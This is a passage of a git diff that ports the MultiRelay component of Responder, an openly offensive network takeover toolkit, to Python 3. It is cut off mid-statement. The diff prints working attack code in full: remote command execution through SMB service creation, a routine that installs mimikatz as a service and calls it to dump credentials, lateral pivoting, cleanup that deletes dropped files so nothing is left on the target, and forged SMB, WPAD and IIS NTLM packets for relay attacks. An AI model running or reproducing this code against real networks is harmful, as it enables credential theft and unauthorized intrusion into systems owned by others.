print("[+] Delete operation failed.\n[+] Something went wrong.") + data,s = CloseTID(data, s) + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. ##########Psexec############# def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, RunPath, FileName): try: - RandomFName = GenerateRandomFileName() - WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" - LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" - Command = RunPath+" \""+Command+"\" \""+WinTmpPath+"\"" - ServiceNameChars = GenerateServiceName() - ServiceIDChars = GenerateServiceID() + RandomFName = GenerateRandomFileName() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" + Command = RunPath+" \""+Command+"\" \""+WinTmpPath+"\"" + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() - data,s = SMBOpenPipe(Host, data, s) - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) - data,s = CloseFID(f, data,s) - time.sleep(1) - data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s) - data,s,Output = ReadAndDelete(f, LogFile, data, s) - print Output - data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + time.sleep(1) + data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, LogFile, data, s) + print(Output) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) - Logs.info('Command executed:') - Logs.info(clientIP+","+Username+','+Command) + Logs.warning('Command executed:') + Logs.warning(clientIP+","+Username+','+Command) - return data + return data except: - #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. - print "[+] Something went wrong, try something else." - return ModifySMBRetCode(data) + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print("[+] Something went wrong, try something else.") + return ModifySMBRetCode(data) ##########Runas############# def RunAsCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): try: - Command = Command.replace('"', '\'') - RandomFName = GenerateRandomFileName() - WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" - LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" - Command = "%windir%\\Temp\\"+FileName+" \""+Command+"\" \""+WinTmpPath+"\"" - ServiceNameChars = GenerateServiceName() - ServiceIDChars = GenerateServiceID() + Command = Command.replace('"', '\'') + RandomFName = GenerateRandomFileName() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" + Command = "%windir%\\Temp\\"+FileName+" \""+Command+"\" \""+WinTmpPath+"\"" + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() - data,s = SMBOpenPipe(Host, data, s) - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) - data,s = CloseFID(f, data,s) - time.sleep(1) - data,s,f = SMBOpenFile( LogFile, "C", Host, RW, data, s) - data,s,Output = ReadAndDelete(f, LogFile, data, s) - print Output - data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + time.sleep(1) + data,s,f = SMBOpenFile( LogFile, "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, LogFile, data, s) + print(Output) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) - Logs.info('Command executed:') - Logs.info(clientIP+","+Username+','+Command) - return data + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + return data except: - data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) - #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. - print "[+] Something went wrong, try something else." - return ModifySMBRetCode(data) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print("[+] Something went wrong, try something else.") + return ModifySMBRetCode(data) ##########MimiKatz RPC############# def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): global MimiKatzSVCID global MimiKatzSVCName try: - DisplayGUID, DisplayGUIDle = Generateuuid() - NamedPipe = GenerateNamedPipeName() - RandomFName = GenerateRandomFileName() - WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" - #Install mimikatz as a service. - Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit" - MimiKatzSVCName = GenerateServiceName() - MimiKatzSVCID = GenerateServiceID() + if isinstance(data, str): + data = data.encode('latin-1') + DisplayGUID, DisplayGUIDle = Generateuuid() + NamedPipe = GenerateNamedPipeName() + RandomFName = GenerateRandomFileName() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + #Install mimikatz as a service. + Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit" + MimiKatzSVCName = GenerateServiceName() + MimiKatzSVCID = GenerateServiceID() + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateMimikatzService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s) + data,s = CloseFID(f, data,s) - data,s = SMBOpenPipe(Host, data, s) - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = CreateMimikatzService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s) - data,s = CloseFID(f, data,s) + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) - Logs.info('Command executed:') - Logs.info(clientIP+","+Username+','+Command) - - return data, DisplayGUIDle, NamedPipe + return data, DisplayGUIDle, NamedPipe except: - #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. - print "[+] Something went wrong, try something else." - return ModifySMBRetCode(data) + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print("[+] Something went wrong, try something else.") + return ModifySMBRetCode(data) def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): try: - data,guid,namedpipe = InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName) - data,s = SMBOpenPipe(Host, data, s) - ##Wait for the pipe to come up.. - time.sleep(1) + data,guid,namedpipe = InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName) + data,s = SMBOpenPipe(Host, data, s) + ##Wait for the pipe to come up.. + time.sleep(1) - data,s,f = BindCall(guid, "\x01\x00", "\\"+namedpipe, data, s) - data,s,f = MimiKatzRPC(Command, f, Host, data, s) - data,s = SMBDCERPCCloseFID(f, data,s) - ##### - #Kill the SVC now... Never know when the user will leave, so lets not leave anything on the target. - data,s = SMBOpenPipe(Host, data, s) - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StopAndDeleteService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s) - data,s = CloseFID(f, data,s) - #Short sleep, to make sure the service had the time needed to stop before deleting mimikatz - time.sleep(0.5) - data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + data,s,f = BindCall(guid, "\x01\x00", "\\"+namedpipe, data, s) + data,s,f = MimiKatzRPC(Command, f, Host, data, s) + data,s = SMBDCERPCCloseFID(f, data,s) + ##### + #Kill the SVC now... Never know when the user will leave, so lets not leave anything on the target. + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = StopAndDeleteService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s) + data,s = CloseFID(f, data,s) + #Short sleep, to make sure the service had the time needed to stop before deleting mimikatz + time.sleep(0.5) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) - Logs.info('Command executed:') - Logs.info(clientIP+","+Username+','+Command) + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) - return ModifySMBRetCode(data) + return ModifySMBRetCode(data) except: - #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. - print "[+] Something went wrong while calling mimikatz. Maybe it's a 32bits system? Try mimi32." - return ModifySMBRetCode(data) + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print("[+] Something went wrong while calling mimikatz. Maybe it's a 32bits system? Try mimi32.") + return ModifySMBRetCode(data) ##########Pivot############# def PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Host, RunAsPath, RunAsFileName): try: - LocalIp = FindLocalIp() - WinTmpPath = "%windir%\\Temp\\log.txt" - Command = RunAsPath+" \"net view \\\\"+LocalIp+"\" \""+WinTmpPath+"\"" - ServiceNameChars = GenerateServiceName() - ServiceIDChars = GenerateServiceID() + LocalIp = FindLocalIp() + WinTmpPath = "%windir%\\Temp\\log.txt" + Command = RunAsPath+" \"dir \\\\"+LocalIp+"\\C$\" \""+WinTmpPath+"\"" + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) - data,s = SMBOpenPipe(Host, data, s) - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) - data,s = CloseFID(f, data,s) - - ## We're leaving this host, clean it up.. - time.sleep(1.5) - data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host) - Logs.info('Command executed:') - Logs.info(clientIP+","+Username+','+Command) - return data + ## We're leaving this host, clean it up.. + data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host) + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + return data except: - #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. - print "[+] Something went wrong, try something else." - return ModifySMBRetCode(data) + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print("[+] Something went wrong, try something else.") + return ModifySMBRetCode(data) ##########VerifyPivot############# def VerifyPivot(data, s, clientIP, Username, Domain, Pivot, Logs, Host, RunAsPath, RunAsFileName): try: - RandomFName = GenerateRandomFileName() - ServiceNameChars = GenerateServiceName() - ServiceIDChars = GenerateServiceID() - WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" - LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" - Command = RunAsPath+" \"dir \\\\"+Pivot+"\\C$\" \""+WinTmpPath+"\"" + RandomFName = GenerateRandomFileName() + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" + Command = RunAsPath+" \"dir \\\\"+Pivot+"\\C$\" \""+WinTmpPath+"\"" - data,s = SMBOpenPipe(Host, data, s) - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) - data,s = CloseFID(f, data,s) - data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s) - data,s,Output = ReadAndDelete(f, LogFile, data, s) - data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host) + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + time.sleep(1) + data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, LogFile, data, s) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host) - Logs.info('Command executed:') - Logs.info(clientIP+","+Username+','+Command) + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) - if re.findall('Volume in drive', Output): - return True, data - else: - return False, data + if re.findall('Volume in drive', Output): + return True, data + else: + return False, data except: - #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. - print "[+] Something went wrong, try something else." - return ModifySMBRetCode(data) + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print("[+] Something went wrong, try something else.") + return ModifySMBRetCode(data) ##########DoSomethingDumb############# def DumbSMBChain(data, s, Host): try: - File = "/Windows/win.ini" - File = File.replace("/","\\") - data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) - data,s,Output = GrabAndRead(f, File, data, s) - data, s = CloseTID(data, s) - return ModifySMBRetCode(data) ##Command was successful, ret true. + File = "/Windows/win.ini" + File = File.replace("/","\\") + data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) + data,s,Output = GrabAndRead(f, File, data, s) + data, s = CloseTID(data, s) + return ModifySMBRetCode(data) ##Command was successful, ret true. except: - return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. - + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. diff --git a/tools/MultiRelay/RelayMultiPackets.py b/tools/MultiRelay/RelayMultiPackets.py index bba63a3..2aa164e 100644 --- a/tools/MultiRelay/RelayMultiPackets.py +++ b/tools/MultiRelay/RelayMultiPackets.py @@ -1,5 +1,6 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# -*- coding: latin-1 -*- +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -16,24 +17,39 @@ # along with this program. If not, see . import struct import os +import sys from odict import OrderedDict import datetime from base64 import b64decode, b64encode +# Packet class handling all packet generation (see odict.py). class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) +#Python version +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" + +def StructWithLenPython2or3(endian,data): + #Python2... + if PY2OR3 is "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') ##################HTTP Proxy Relay########################## def HTTPCurrentDate(): @@ -42,178 +58,176 @@ def HTTPCurrentDate(): #407 section. class WPAD_Auth_407_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), - ("Connection", "Proxy-Connection: close\r\n"), - ("Cache-Control", "Cache-Control: no-cache\r\n"), - ("Pragma", "Pragma: no-cache\r\n"), - ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), + ("Connection", "Proxy-Connection: close\r\n"), + ("Cache-Control", "Cache-Control: no-cache\r\n"), + ("Pragma", "Pragma: no-cache\r\n"), + ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) class WPAD_NTLM_Challenge_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWWAuth", "Proxy-Authenticate: NTLM "), - ("Payload", ""), - ("Payload-CRLF", "\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "Proxy-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) - def calculate(self,payload): - self.fields["Payload"] = b64encode(payload) + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) #401 section: class IIS_Auth_401_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) class IIS_Auth_Granted(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("CRLF", "\r\n\r\n"), - ("Payload", "\n\n\n\nLoading\n\n\n"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", "\n\n\n\nLoading\n\n\n"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) class IIS_NTLM_Challenge_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWWAuth", "WWW-Authenticate: NTLM "), - ("Payload", ""), - ("Payload-CRLF", "\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "WWW-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) - def calculate(self,payload): - self.fields["Payload"] = b64encode(payload) + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) class IIS_Basic_401_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), - ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), - ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), + ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), + ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) ##################WEBDAV Relay Packet######################### class WEBDAV_Options_Answer(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"), - ("Connection", "Connection: Keep-Alive\r\n"), - ("Content-Type", "Content-Type: text/html\r\n"), - ("CRLF", "\r\n"), - ]) + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"), + ("Connection", "Connection: Keep-Alive\r\n"), + ("Content-Type", "Content-Type: text/html\r\n"), + ("CRLF", "\r\n"), + ]) ##################SMB Relay Packet############################ def midcalc(data): #Set MID SMB Header field. - return data[34:36] + return data[34:36].decode('latin-1') def uidcalc(data): #Set UID SMB Header field. - return data[32:34] + return data[32:34].decode('latin-1') def pidcalc(data): #Set PID SMB Header field. - pack=data[30:32] - return pack + return data[30:32].decode('latin-1') def tidcalc(data): #Set TID SMB Header field. - pack=data[28:30] - return pack + return data[28:30].decode('latin-1') #Response packet. class SMBRelayNegoAns(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("MaxBuffSize", "\x04\x41\x00\x00"), - ("MaxRawBuff", "\x00\x00\x01\x00"), - ("SessionKey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfd\xf3\x01\x80"), - ("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), - ("SrvTimeZone", "\xf0\x00"), - ("KeyLen", "\x00"), - ("Bcc", "\x10\x00"), - ("Guid", os.urandom(16)), - ]) + fields = OrderedDict([ + ("Wordcount", "\x11"), + ("Dialect", ""), + ("Securitymode", "\x03"), + ("MaxMpx", "\x32\x00"), + ("MaxVc", "\x01\x00"), + ("MaxBuffSize", "\x04\x41\x00\x00"), + ("MaxRawBuff", "\x00\x00\x01\x00"), + ("SessionKey", "\x00\x00\x00\x00"), + ("Capabilities", "\xfd\xf3\x01\x80"), + ("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), + ("SrvTimeZone", "\xf0\x00"), + ("KeyLen", "\x00"), + ("Bcc", "\x10\x00"), + ("Guid", os.urandom(16).decode('latin-1')), + ]) ##Response packet. class SMBRelayNTLMAnswer(Packet): - fields = OrderedDict([ - ("Wordcount", "\x04"), - ("AndXCommand", "\xff"), - ("Reserved", "\x00"), - ("Andxoffset", "\x5f\x01"), - ("Action", "\x00\x00"), - ("SecBlobLen", "\xea\x00"), - ("Bcc", "\x34\x01"), - ###NTLMPACKET - ("Data", ""), - ###NTLMPACKET + fields = OrderedDict([ + ("Wordcount", "\x04"), + ("AndXCommand", "\xff"), + ("Reserved", "\x00"), + ("Andxoffset", "\x5f\x01"), + ("Action", "\x00\x00"), + ("SecBlobLen", "\xea\x00"), + ("Bcc", "\x34\x01"), + ###NTLMPACKET + ("Data", ""), + ###NTLMPACKET - ]) + ]) #Request packet (no calc): class SMBSessionSetupAndxRequest(Packet): - fields = OrderedDict([ - ("Wordcount", "\x0c"), - ("AndXCommand", "\xff"), - ("Reserved","\x00" ), - ("AndXOffset", "\xec\x00"), - ("MaxBuff","\xff\xff"), - ("MaxMPX", "\x32\x00"), - ("VCNumber","\x00\x00"), - ("SessionKey", "\x00\x00\x00\x00"), - ###NTLMPACKET - ("Data", ""), - ###NTLMPACKET - ]) + fields = OrderedDict([ + ("Wordcount", "\x0c"), + ("AndXCommand", "\xff"), + ("Reserved","\x00" ), + ("AndXOffset", "\xec\x00"), + ("MaxBuff","\xff\xff"), + ("MaxMPX", "\x32\x00"), + ("VCNumber","\x00\x00"), + ("SessionKey", "\x00\x00\x00\x00"), + ###NTLMPACKET + ("Data", ""), + ###NTLMPACKET + ]) class SMBSessEmpty(Packet): - fields = OrderedDict([ - ("Empty", "\x00\x00\x00"), - ]) + fields = OrderedDict([ + ("Empty", "\x00\x00\x00"), + ]) ##################SMB Request Packet########################## class SMBHeader(Packet): fields = OrderedDict([ @@ -237,9 +251,9 @@ class SMBNegoCairo(Packet): ("Bcc", "\x62\x00"), ("Data", "") ]) - + def calculate(self): - self.fields["Bcc"] = struct.pack(" 255: - self.fields["ApplicationHeaderTagLenOfLen"] = "\x82" - self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0) + self.fields["ApplicationHeaderTagLenOfLen"] = "\x82" + self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-0) else: - self.fields["ApplicationHeaderTagLenOfLen"] = "\x81" - self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3) + self.fields["ApplicationHeaderTagLenOfLen"] = "\x81" + self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-3) if len(NTLMData)-8 > 255: - self.fields["AsnSecMechLenOfLen"] = "\x82" - self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4) + self.fields["AsnSecMechLenOfLen"] = "\x82" + self.fields["AsnSecMechLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-4) else: - self.fields["AsnSecMechLenOfLen"] = "\x81" - self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6) + self.fields["AsnSecMechLenOfLen"] = "\x81" + self.fields["AsnSecMechLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-6) if len(NTLMData)-12 > 255: - self.fields["ChoosedTagLenOfLen"] = "\x82" - self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8) + self.fields["ChoosedTagLenOfLen"] = "\x82" + self.fields["ChoosedTagLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-8) else: - self.fields["ChoosedTagLenOfLen"] = "\x81" - self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9) + self.fields["ChoosedTagLenOfLen"] = "\x81" + self.fields["ChoosedTagLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-9) if len(NTLMData)-16 > 255: - self.fields["ChoosedTag1StrLenOfLen"] = "\x82" - self.fields["ChoosedTag1StrLen"] = struct.pack(">H", 